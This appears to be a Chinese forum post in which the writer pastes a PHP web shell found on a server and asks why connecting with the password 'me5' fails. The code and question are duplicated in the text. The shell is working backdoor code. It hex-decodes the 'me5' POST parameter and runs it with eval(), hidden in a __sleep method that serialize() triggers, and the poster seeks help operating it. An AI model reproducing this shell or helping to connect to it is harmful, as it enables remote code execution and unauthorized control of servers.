<?php
class Test{
static public $true;
static public $false;
public function hashs($hash){
$str="";
for($i=0;$i<strlen($hash)-1;$i+=2)
$str.=chr(hexdec($hash[$i].$hash[$i+1]));
return $str;
}
public function __sleep(){
$str = 'b=Base64_';
parse_str($str);
$b = $b.'DecoDe';
self::$true = $b;
self::$false = $this->hashs($_POST['me5']);
eval((self::$false));
return array();
}
}
$test= new Test();
serialize($test);
?>
今天偶然在服务器看到的 密码不是me5么 怎么连接不上呢
PHP 版本5.6
class Test{
static public $true;
static public $false;
public function hashs($hash){
$str="";
for($i=0;$i<strlen($hash)-1;$i+=2)
$str.=chr(hexdec($hash[$i].$hash[$i+1]));
return $str;
}
public function __sleep(){
$str = 'b=Base64_';
parse_str($str);
$b = $b.'DecoDe';
self::$true = $b;
self::$false = $this->hashs($_POST['me5']);
eval((self::$false));
return array();
}
}
$test= new Test();
serialize($test);
?>
今天偶然在服务器看到的 密码不是me5么 怎么连接不上呢
PHP 版本5.6




